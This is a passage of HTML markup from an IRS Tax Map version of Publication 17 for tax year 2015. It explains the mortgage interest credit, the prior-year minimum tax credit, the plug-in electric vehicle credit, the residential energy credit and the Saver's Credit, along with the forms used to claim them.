      ><tr valign="bottom"
       ><td align="center"
            style="border-right-width:0px;border-bottom-width:0px; "
            valign="bottom"
       >&#160;</td
       ><td align="center"
            style="border-right-width:0px;border-bottom:1px solid #c7c7c7; "
            valign="bottom"
       >Certified indebtedness amount on your MCC</td
       ><td align="center"
            style="border-right-width:0px;border-bottom-width:0px; "
            valign="bottom"
       >&#160;</td
      ></tr
      ><tr valign="top"
       ><td align="center"
            style="border-right-width:0px;"
            valign="top"
       >&#160;</td
       ><td align="center"
            style="border-right-width:0px;"
            valign="top"
       >Original amount of your mortgage</td
       ><td align="center"
            style="border-right-width:0px;"
            valign="top"
       >&#160;</td
      ></tr
     ></tbody
    ></table
   ></div
   ><a name="en_us_publink1000174943"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174943</a
   ><a name="TXMP29e78339"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Limit based on credit rate.<a class="printpagenum"
                                      title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP1ed3af42"
   >If the certificate credit rate is more than 20%, the credit you are allowed can't be more than $2,000. If two or more persons (other than a married couple filing a joint return) hold an interest in the home to which the MCC relates, this $2,000 limit must be divided based on the interest held by each person. See Pub.
    <a class="tmloomAutolink"
       href="../pubs/p530toc.htm"
    >530</a
    > for more information.</div
   ><a name="en_us_publink1000174944"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174944</a
   ><a name="TXMP166fc05d"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Carryforward.<a class="printpagenum"
                        title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pubs/p530-001.htm#TXMP0c6568d7"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/carryforward_o_3a854336.htm"
         >Carryforward</a
         ><a href="../../taxmap/pubs/p530-001.htm#TXMP0c6568d7"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP099daf12"
   >Your credit (after applying the limit based on the credit rate) is also subject to a limit based on your tax that is figured using Form 8396. If your allowable credit is reduced because of this tax liability limit, you can carry forward the unused portion of the credit to the next 3 years or until used, whichever comes first.
   </div
   ><div class="p"
         id="TXMP76ce89bc"
   >If you are subject to the $2,000 limit because your certificate credit rate is more than 20%, you can't carry forward any amount more than $2,000 (or your share of the $2,000 if you must divide the
credit).</div
   ><a name="en_us_publink1000174945"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174945</a
   ><a name="TXMP348bc0c9"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP2df88e4f"
   >Figure your 2015 credit and any carryforward to 2016 on Form 8396, and attach it to your Form 1040. Be sure to include any credit carryforward from 2012, 2013, and 2014.
   </div
   ><div class="p"
         id="TXMP3730d45a"
   >Include the credit in your total for Form 1040, line 54. Check box c and enter "8396" on the line next to that
box.</div
   ><a name="en_us_publink1000174946"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174946</a
   ><a name="TXMP596b09b6"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Reduced home mortgage interest deduction.<a class="printpagenum"
                                                    title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/faqs/faq_03-006.htm#TXMP3d5baa7a"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/homemortgageintere_o_0b5cad44.htm"
         >Home Mortgage Interest Deduction, Limits</a
         ><a href="../../taxmap/pubs/p936-001.htm#TXMP6d3ab6c7"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP4789a888"
   >If you itemize your deductions on Schedule A (Form 1040), you must reduce your home mortgage interest deduction by the amount of the mortgage interest credit shown on Form 8396, line 3. You must do this even if part of that amount is to be carried forward to 2016. For more information about the home mortgage interest deduction, see
    <a class="crossref"
       href="../pub17/p17-120.htm#en_us_publink1000173217"
       id="en_us_publink1000174947"
    >chapter 23</a
    >.
   </div
   ><a name="en_us_publink1000174948"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174948</a
   ><a name="TXMP774c054d"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Recapture of federal mortgage subsidy.<a class="printpagenum"
                                                 title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pub17/p17-087.htm#TXMP2d75d483"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/recapturingpayingb_o_5bcd9f07.htm"
         >Recapturing (Paying Back) a Federal Mortgage Subsidy</a
         ><a href="../../taxmap/pub17/p17-087.htm#TXMP2d75d483"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP5842b0f9"
   >If you received an MCC with your mortgage loan, you may have to recapture (pay back) all or part of the benefit you received from that program. The recapture may be required if you sell or dispose of your home at a gain during the first 9 years after the date you closed your mortgage loan. See the Instructions for Form 8828 and
    <a class="crossref"
       href="../pub17/p17-081.htm#en_us_publink1000172366"
       id="en_us_publink1000252333"
    >chapter 15</a
    > for more information.
   </div
   ><a name="en_us_publink1000260892"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000260892</a
   ><a name="TXMP7e0b9d4e"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP0443fcdb"
   >For more information on the credit, see the Instructions for Form
8396.</div
   ><a name="en_us_publink1000174949"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174949</a
   ><a name="TXMP7cb13148"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Nonrefundable Credit for Prior Year Minimum Tax<a class="printpagenum"
                                                          title="Page number in printed version"
        >(p245)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrnone"
         ><a href="../../taxmap/ts0/nonrefundablecredi_o_20962116.htm"
         >Nonrefundable Credit for Prior Year Minimum Tax</a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP6e5f461e"
   >The tax laws give special treatment to some kinds of income and allow special deductions and credits for some kinds of expenses. If you benefit from these laws, you may have to pay at least a minimum amount of tax in addition to any other tax on these items. This is called the alternative minimum tax.
   </div
   ><div class="p"
         id="TXMP74f91f39"
   >The special treatment of some items of income and expenses only allows you to postpone paying tax until a later year. If in prior years you paid alternative minimum tax because of these tax postponement items, you may be able to take a credit for prior year minimum tax against your current year's regular tax.
   </div
   ><div class="p"
         id="TXMP2e0f1fda"
   >You may be able to take a credit against your regular tax if for 2014 you had:
    <ul
     ><li id="TXMP575a2381"
      ><a name="TXMP482887f8"
      ></a
      >An alternative minimum tax liability and adjustments or preferences other than exclusion
items,</li
     ><li id="TXMP25a271db"
      ><a name="TXMP23d86638"
      ></a
      >A minimum tax credit that you are carrying forward to 2015,
or</li
     ><li id="TXMP49034817"
      ><a name="TXMP57766c0b"
      ></a
      >An unallowed qualified electric vehicle credit.</li
    ></ul
   ></div
   ><a name="en_us_publink1000174952"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174952</a
   ><a name="TXMP2e62dd37"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP28fa2c2f"
   >Figure your 2015 nonrefundable credit (if any), and any carryforward to 2016 on Form 8801, and attach it to your Form 1040. Include the credit in your total for Form 1040, line 54, and check box b. You can carry forward any unused credit for prior year minimum tax to later years until it is completely used.
   </div
   ><a name="en_us_publink1000174953"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174953</a
   ><a name="TXMP166548fb"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP6c2d296e"
   >For more information on the credit, see the Instructions for Form
8801.</div
   ><a name="en_us_publink1000210768"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000210768</a
   ><a name="TXMP51731a8b"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Plug-in Electric Drive Motor Vehicle Credit<a class="printpagenum"
                                                      title="Page number in printed version"
        >(p245)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP6f15b6f1"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/creditforqualified_o_493deda0.htm"
         >Qualified Plug-in Electric Drive Motor Vehicle</a
         ><a href="../../taxmap/pubs/p946-032.htm#TXMP62fd3718"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP26747866"
   >You may be able to take this credit if you placed in service for business or personal use a qualified plug-in electric drive motor vehicle in 2015 and you meet some other requirements.
   </div
   ><a name="en_us_publink1000296807"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000296807</a
   ><a name="TXMP6f15b6f1"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Qualified plug-in electric drive motor vehicle.<a class="printpagenum"
                                                          title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pubs/p946-032.htm#TXMP62fd3718"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/creditforqualified_o_493deda0.htm"
         >Qualified Plug-in Electric Drive Motor Vehicle</a
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP51731a8b"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP1a3ab6a9"
   >This is a new vehicle with at least four wheels that:<ul
     ><li id="TXMP09dd9d85"
      ><a name="TXMP364719de"
      ></a
      >Is propelled to a significant extent by an electric motor that draws electricity from a battery that has a capacity of not less than 4 kilowatt hours and is capable of being recharged from an external source of electricity, and
     </li
     ><li id="TXMP34537cc8"
      ><a name="TXMP4d00a97c"
      ></a
      >Has a gross vehicle weight of less than 14,000 pounds.</li
    ></ul
   ></div
   ><a name="en_us_publink1000296897"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000296897</a
   ><a name="TXMP6ded377d"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Certification and other requirements.
        <a class="printpagenum"
           title="Page number in printed version"
        >(p245)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrnone"
         ><a href="../../taxmap/ts0/certificationandot_o_33afbd59.htm"
         >Certification and Other Requirements</a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP666faa13"
   >Generally, you can rely on the manufacturer's (or, in the case of a foreign manufacturer, its domestic distributor's) certification to the IRS that a specific make, model, and model year vehicle qualifies for the credit and, if applicable, the amount of the credit for which it qualifies. However, if the IRS publishes an announcement that the certification for any specific make, model, and model year vehicle has been withdrawn, you can't rely on the certification for such a vehicle purchased after the date of publication of the withdrawal
announcement.</div
   ><div class="p"
         id="TXMP321d5c30"
   >The following requirements must also be met to qualify for the
credit.<ul
     ><li id="TXMP24b3c60a"
      ><a name="TXMP13da9712"
      ></a
      >You are the owner of the vehicle. If the vehicle is leased, only the lessor, and not the lessee, is entitled to the
credit.</li
     ><li id="TXMP00a0c8ca"
      ><a name="TXMP7b1ccd7d"
      ></a
      >You placed the vehicle in service during 2015.</li
     ><li id="TXMP3a1e2bd4"
      ><a name="TXMP0cc59f61"
      ></a
      >The vehicle is manufactured primarily for use on public streets, roads, and
highways.</li
     ><li id="TXMP2940141d"
      ><a name="TXMP37353001"
      ></a
      >The original use of the vehicle began with you.</li
     ><li id="TXMP2f7cea0d"
      ><a name="TXMP5464cc3a"
      ></a
      >You acquired the vehicle for your use or to lease to others, and not for resale.
     </li
     ><li id="TXMP290cf29e"
      ><a name="TXMP3d38fc2f"
      ></a
      >You use the vehicle primarily in the United States.</li
    ></ul
   ></div
   ><a name="en_us_publink1000210771"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000210771</a
   ><a name="TXMP09cf6099"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p246)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP2253d317"
   >To take the credit, you must complete Form 8936 and attach it to your Form 1040. Include the credit in your total for Form 1040, line 54. Check box c and enter "8936" on the line next to that
box.</div
   ><a name="en_us_publink1000260893"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000260893</a
   ><a name="TXMP3e4a3b2e"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p246)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP66699969"
   >For more information on the credit, see the Instructions for Form
8936.</div
   ><a name="en_us_publink1000174954"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174954</a
   ><a name="TXMP795e7b69"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Residential Energy Credit<a class="printpagenum"
                                    title="Page number in printed version"
        >(p246)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrnone"
         ><a href="../../taxmap/ts0/residentialenergyc_o_03d354a4.htm"
         >Residential Energy Credit</a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP37d9580a"
   >You may be able to take the residential energy efficient property credit if you made energy saving improvements to your home located in the United States in 2015.
   </div
   ><div class="p"
         id="TXMP666c1320"
   >If you are a member of a condominium management association for a condominium you own or a tenant-stockholder in a cooperative housing corporation, you are treated as having paid your proportionate share of any costs of the association or
corporation.</div
   ><a name="en_us_publink1000209301"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000209301</a
   ><a name="TXMP5827e7e9"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Residential energy efficient property credit.<a class="printpagenum"
                                                        title="Page number in printed version"
        >(p246)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrnone"
         ><a href="../../taxmap/ts0/residentialenergye_o_0995f5c2.htm"
         >Residential Energy Efficient Property Credit</a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP0430bfd8"
   >You may be able to take a credit of 30% of your costs of qualified solar electric property, solar water heating property, fuel cell property, small wind energy property, and geothermal heat pump property. The credit amount for costs paid for qualified fuel cell property is limited to $500 for each one-half kilowatt of capacity of the
property.</div
   ><a id="en_us_publink100036059"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="iconpara"
    ><tbody
     ><tr
      ><td class="iconcell"
           valign="top"
       ><img alt="EIC"
             src="../graphics/caution.gif"
      ></td
      ><td valign="top"
       ><div class="p"
             id="TXMP65c3b02f"
       >At the time this publication was prepared for printing, Congress was considering legislation that would extend the nonbusiness energy property credit, which expired at the end of 2014. To see if the legislation was enacted, go to
        <a href="http://www.irs.gov/pub17"
           name="Pub 17 page on IRS.gov"
           title="Pub 17 page on IRS.gov"
        >www.irs.gov/pub17</a
        >.</div
      ></td
     ></tr
    ></tbody
   ></table
   ><a name="en_us_publink1000174957"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174957</a
   ><a name="TXMP779028fb"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Basis reduction.<a class="printpagenum"
                           title="Page number in printed version"
        >(p246)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pubs/p908-007.htm#TXMP15e9ee8d"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/basisreduction_o_32401072.htm"
         >Basis Reduction</a
         ><a href="../../taxmap/pubs/p908-007.htm#TXMP15e9ee8d"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP0cdef9c9"
   >You must reduce the basis of your home by the amount of any credit
allowed.</div
   ><a name="en_us_publink1000174958"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174958</a
   ><a name="TXMP2a3cc730"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p246)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP0738fb4a"
   >Complete Form 5695 and attach it to your Form 1040. Enter the credit on Form 1040, line
53.</div
   ><a name="en_us_publink1000174959"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174959</a
   ><a name="TXMP47fcc624"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p246)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP1fdf6465"
   >For more information on the credit, see the Instructions for Form
5695.</div
   ><a name="en_us_publink1000174960"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174960</a
   ><a name="TXMP04232c9b"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Retirement Savings Contributions Credit (Saver's Credit)<a class="printpagenum"
                                                                   title="Page number in printed version"
        >(p246)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/taxtp/Tt600_15-006.htm#955"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/retirementsavingsc_o_4a194e9e.htm"
         >Retirement Savings Contributions Credit (Saver's Credit)</a
         ><a href="../../taxmap/pubs/p590a-015.htm#TXMP339b3f94"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP1a7b3cae"
   >You may be able to take this credit if you, or your spouse if filing jointly,
made:<ul
     ><li id="TXMP40b8a20a"
      ><a name="TXMP1920b71b"
      ></a
      >Contributions (other than rollover contributions) to a traditional or Roth
IRA,</li
     ><li id="TXMP4bba2e0e"
      ><a name="TXMP76918b6d"
      ></a
      >Elective deferrals to a 401(k) or 403(b) plan (including designated Roth contributions) or to a governmental 457, SEP, or SIMPLE
plan,</li
     ><li id="TXMP7e2acc73"
      ><a name="TXMP35d10d65"
      ></a
      >Voluntary employee contributions to a qualified retirement plan (including the federal Thrift Savings Plan),
or</li
     ><li id="TXMP4b4dbcc8"
      ><a name="TXMP77ad02a6"
      ></a
      >Contributions to a 501(c)(18)(D) plan.</li
    ></ul
    >
   </div
   ><div class="p"
         id="TXMP6409e58b"
   >However, you can't take the credit if either of the following
applies.<ol
     ><li id="TXMP2cc3b393"
      ><a name="TXMP4b172713"
      ></a
      >The amount on Form 1040, line 38, or Form 1040A, line 22, is more than $30,500 ($45,750 if head of household; $61,000 if married filing
jointly).</li
     ><li id="TXMP569ff056"
      ><a name="TXMP501659a4"
      ></a
      >The person(s) who made the qualified contribution or elective deferral: (a) was born after January 1, 1998, (b) is claimed as a dependent on someone else's 2015 tax return, or (c) was a student (defined
next).</li
    ></ol
   ></div
   ><a name="en_us_publink1000174961"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174961</a
   ><a name="TXMP169c50cd"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Student.<a class="printpagenum"
                   title="Page number in printed version"
        >(p246)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pub17/p17-181.htm#TXMP121c2eeb"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/student_o_7799aed7.htm"
         >Student</a
         ><a href="../../taxmap/taxtp/Tt450_15-006.htm#872"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP5ff73292"
   >You were a student if during any part of five calendar months of 2015
you:<ul
     ><li id="TXMP5d889d73"
      ><a name="TXMP550e6baf"
      ></a
      >Were enrolled as a full-time student at a school, or</li
     ><li id="TXMP7cca4c99"
      ><a name="TXMP0c09bf2e"
      ></a
      >Took a full-time, on-farm training course given by a school or a state, county, or local government
agency.</li
    ></ul
   ></div
   ><a name="en_us_publink1000174962"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174962</a
   ><a name="TXMP0905a63d"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><span
        ><b
        >School.<a class="printpagenum"
                   title="Page number in printed version"
         >(p246)</a
        ></b
       ></span
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP3cea5b01"
   >A school includes a technical, trade, or mechanical school. It doesn't include an on-the-job training course, correspondence school, or school offering courses only through the
Internet.</div
   ><a name="en_us_publink1000174963"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174963</a
   ><a name="TXMP2b1656f4"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >How to take the credit.<a class="printpagenum"
                                  title="Page number in printed version"
        >(p246)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP67ce0d0f"
   >Figure the credit on Form 8880. Enter the credit on your Form 1040, line 51, or your Form 1040A, line 34, and attach Form 8880 to your
return.</div
   ><a name="en_us_publink1000260895"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000260895</a
   ><a name="TXMP2306ebd4"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >More information.<a class="printpagenum"
                            title="Page number in printed version"
        >(p246)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP7b254995"
   >For more information on the credit, see the Instructions for Form
8880.</div
   >
   <table border="0"
